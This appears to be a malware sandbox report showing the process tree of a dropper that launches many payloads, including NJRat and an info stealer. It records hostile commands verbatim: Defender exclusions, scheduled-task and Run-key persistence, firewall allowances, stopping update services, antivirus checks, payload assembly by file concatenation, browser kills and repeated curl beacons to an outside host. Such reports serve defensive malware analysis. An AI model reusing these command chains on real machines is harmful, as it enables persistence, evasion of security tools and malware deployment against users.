C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5988 -childID 6 -isForBrowser -prefsHandle 5460 -prefMapHandle 5972 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cfe9773e-2232-483c-9e85-e5cfb5d8330b} 500 "\\.\pipe\gecko-crash-server-pipe.500" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5308 -childID 7 -isForBrowser -prefsHandle 5340 -prefMapHandle 5344 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cccb0c80-309b-422f-9646-344531657445} 500 "\\.\pipe\gecko-crash-server-pipe.500" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6484 -parentBuildID 20240401114208 -prefsHandle 6344 -prefMapHandle 6468 -prefsLen 29355 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1b77eb6f-7097-4a65-8f81-0cf01f3d0fd6} 500 "\\.\pipe\gecko-crash-server-pipe.500" rdd4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6492 -parentBuildID 20240401114208 -sandboxingKind 1 -prefsHandle 6480 -prefMapHandle 6476 -prefsLen 29355 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f0df7c8-dfdf-446c-8f3a-0223bf81fd4f} 500 "\\.\pipe\gecko-crash-server-pipe.500" utility4⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6788 -childID 8 -isForBrowser -prefsHandle 6772 -prefMapHandle 6756 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e786528-defd-4a20-8915-32e0cf74d43b} 500 "\\.\pipe\gecko-crash-server-pipe.500" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6916 -childID 9 -isForBrowser -prefsHandle 6924 -prefMapHandle 6928 -prefsLen 27211 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b1cbee69-00a8-4baf-8be8-cb10a63bf8bc} 500 "\\.\pipe\gecko-crash-server-pipe.500" tab4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\519810010.exe"C:\Users\Admin\AppData\Local\Temp\519810010.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Files\injectorOld.exe"C:\Users\Admin\AppData\Local\Temp\Files\injectorOld.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Discord.exe"C:\Users\Admin\AppData\Local\Temp\Files\Discord.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Files\Discord.exe"C:\Users\Admin\AppData\Local\Temp\Files\Discord.exe"4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"3⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM4⤵
- Drops file in Drivers directory
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\MePaxil.exe"C:\Users\Admin\AppData\Local\Temp\Files\MePaxil.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k move Offensive Offensive.cmd & Offensive.cmd & exit4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe opssvc.exe"5⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 5436485⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "BiddingVeRoutinesFilms" Bowling5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Suzuki + ..\Major + ..\Tit + ..\Adjust + ..\Invest + ..\Severe + ..\Sony + ..\Prefers E5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\543648\Legend.pifLegend.pif E5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks.exe /create /tn "Keyboard" /tr "wscript //B 'C:\Users\Admin\AppData\Local\ThreatGuard Innovations\ScanGuard.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "Keyboard" /tr "wscript //B 'C:\Users\Admin\AppData\Local\ThreatGuard Innovations\ScanGuard.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST7⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "ScanGuard" /tr "wscript //B 'C:\Users\Admin\AppData\Local\ThreatGuard Innovations\ScanGuard.js'" /sc onlogon /F /RL HIGHEST6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 155⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ttl.exe"C:\Users\Admin\AppData\Local\Temp\Files\ttl.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\ttl.exe"C:\Users\Admin\AppData\Local\Temp\Files\ttl.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq""5⤵
-
C:\Windows\system32\curl.execurl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq""5⤵
-
C:\Windows\system32\curl.execurl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq""5⤵
-
C:\Windows\system32\curl.execurl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq""5⤵
-
C:\Windows\system32\curl.execurl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq""5⤵
-
C:\Windows\system32\curl.execurl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq""5⤵
-
C:\Windows\system32\curl.execurl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq""5⤵
-
C:\Windows\system32\curl.execurl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq""5⤵
-
C:\Windows\system32\curl.execurl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq""5⤵
-
C:\Windows\system32\curl.execurl -m 10 --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101" "http://spvmoslv.brazilsouth.cloudapp.azure.com/?m=Vqokpqkq"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\S%D0%B5tup.exe"C:\Users\Admin\AppData\Local\Temp\Files\S%D0%B5tup.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Unit.exe"C:\Users\Admin\AppData\Local\Temp\Files\Unit.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6296 -s 4484⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\winbox.exe"C:\Users\Admin\AppData\Local\Temp\Files\winbox.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SDASD.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SDASD.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SDASD" /tr "C:\Users\Admin\AppData\Local\Temp\SDASD.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\golden.exe"C:\Users\Admin\AppData\Local\Temp\Files\golden.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\Files\golden.exe"C:\Users\Admin\AppData\Local\Temp\Files\golden.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\new_v8.exe"C:\Users\Admin\AppData\Local\Temp\Files\new_v8.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\kiyan.exe"C:\Users\Admin\AppData\Local\Temp\Files\kiyan.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\stealinfo.exe"C:\Users\Admin\AppData\Local\Temp\Files\stealinfo.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\stealinfo.exe"C:\Users\Admin\AppData\Local\Temp\Files\stealinfo.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\test11.exe"C:\Users\Admin\AppData\Local\Temp\Files\test11.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\build_2024-07-24_23-16.exe"C:\Users\Admin\AppData\Local\Temp\Files\build_2024-07-24_23-16.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1019815822.exeC:\Users\Admin\AppData\Local\Temp\1019815822.exe4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Impacts.bat" "2⤵
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "wrsa opssvc"3⤵
-
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"3⤵
-
-
C:\Windows\system32\cmd.execmd /c md 5786783⤵
-
-
C:\Windows\system32\findstr.exefindstr /V "PEACEFOLKSEXUALISLANDS" Hill3⤵
-
-
C:\Windows\system32\cmd.execmd /c copy /b ..\Webpage + ..\Von + ..\Exotic + ..\Relief + ..\Seo + ..\Serious + ..\Myth y3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\578678\Cooper.pifCooper.pif y3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\choice.exechoice /d y /t 53⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\SDASD.exe"C:\Users\Admin\AppData\Local\Temp\SDASD.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\578678\Cooper.pif"C:\Users\Admin\AppData\Local\Temp\578678\Cooper.pif"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\_MEI37442\Blsvr.exe"C:\Users\Admin\AppData\Local\Temp\_MEI37442\Blsvr.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"C:\Users\Admin\AppData\Local\Temp\Files\compiled.exe"4⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\keygen.exe"C:\Users\Admin\AppData\Local\Temp\Files\keygen.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\t1.exe"C:\Users\Admin\AppData\Local\Temp\Files\t1.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\12.exe"C:\Users\Admin\AppData\Local\Temp\Files\12.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4580 -s 3044⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\444.exe"C:\Users\Admin\AppData\Local\Temp\Files\444.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\conhost.exe"C:\Users\Admin\AppData\Roaming\conhost.exe"4⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\conhost.exe" "conhost.exe" ENABLE5⤵
- Modifies Windows Firewall
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\payload.exe"C:\Users\Admin\AppData\Local\Temp\Files\payload.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NJRat.exe"C:\Users\Admin\AppData\Local\Temp\Files\NJRat.exe"3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\Files\NJRat.exe" "NJRat.exe" ENABLE4⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\bundle.exe"C:\Users\Admin\AppData\Local\Temp\Files\bundle.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"C:\Users\Admin\AppData\Local\Temp\Files\hailhydra.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\3546345.exe"C:\Users\Admin\AppData\Local\Temp\Files\3546345.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\anne.exe"C:\Users\Admin\AppData\Local\Temp\Files\anne.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\shell.exe"C:\Users\Admin\AppData\Local\Temp\Files\shell.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\PaoNan.exe"C:\Users\Admin\AppData\Local\Temp\Files\PaoNan.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cock.exe"C:\Users\Admin\AppData\Local\Temp\Files\cock.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"4⤵
-
-
-
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"2⤵
-
C:\Users\Admin\Desktop\Files\InstallerPack_20.1.23770_win64.exe"C:\Users\Admin\Desktop\Files\InstallerPack_20.1.23770_win64.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\ftp.exeC:\Windows\SysWOW64\ftp.exe4⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6748 -s 19086⤵
- Program crash
-
-
-
-
-
C:\Users\Admin\Desktop\Files\s.exe"C:\Users\Admin\Desktop\Files\s.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\Files\plantrojan.exe"C:\Users\Admin\Desktop\Files\plantrojan.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\Files\Team.exe"C:\Users\Admin\Desktop\Files\Team.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\Setup2.exe"C:\Users\Admin\Desktop\Files\Setup2.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\o.exe"C:\Users\Admin\Desktop\Files\o.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\pei.exe"C:\Users\Admin\Desktop\Files\pei.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\3162114300.exeC:\Users\Admin\AppData\Local\Temp\3162114300.exe4⤵
-
-
-
C:\Users\Admin\Desktop\Files\t.exe"C:\Users\Admin\Desktop\Files\t.exe"3⤵
-
-
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"2⤵
-
C:\Users\Admin\Desktop\Files\svchost.exe"C:\Users\Admin\Desktop\Files\svchost.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\Files\GOLD.exe"C:\Users\Admin\Desktop\Files\GOLD.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\Desktop\Files\DEF.exe"C:\Users\Admin\Desktop\Files\DEF.exe"3⤵
- Adds policy Run key to start application
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\db\music.exe"C:\ProgramData\db\music.exe"4⤵
- Adds policy Run key to start application
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
\??\c:\program files (x86)\internet explorer\iexplore.exe"c:\program files (x86)\internet explorer\iexplore.exe"5⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\Desktop\Files\5KNCHALAH.exe"C:\Users\Admin\Desktop\Files\5KNCHALAH.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\seo.exe"C:\Users\Admin\Desktop\Files\seo.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k move Vote Vote.cmd & Vote.cmd & exit4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe opssvc.exe"5⤵
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 4195915⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "SAVEDBEDFLESHPROVIDED" Waves5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Poll + ..\Memorabilia + ..\Kenny + ..\Rick + ..\Britannica + ..\Circuits J5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\419591\Predicted.pifPredicted.pif J5⤵
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 55⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\main_v4.exe"C:\Users\Admin\Desktop\Files\main_v4.exe"3⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist4⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefox.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic os get Caption,Version4⤵
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic os get InstallDate4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command [CultureInfo]::InstalledUICulture.Name4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic cpu get Name,NumberOfCores,NumberOfLogicalProcessors,Manufacturer4⤵
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic memorychip get Capacity4⤵
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic path win32_videocontroller get Name4⤵
- Detects videocard installed
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic csproduct get UUID4⤵
-
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic csproduct get UUID4⤵
-
-
-
C:\Users\Admin\Desktop\Files\qth5kdee.exe"C:\Users\Admin\Desktop\Files\qth5kdee.exe"3⤵
-
-
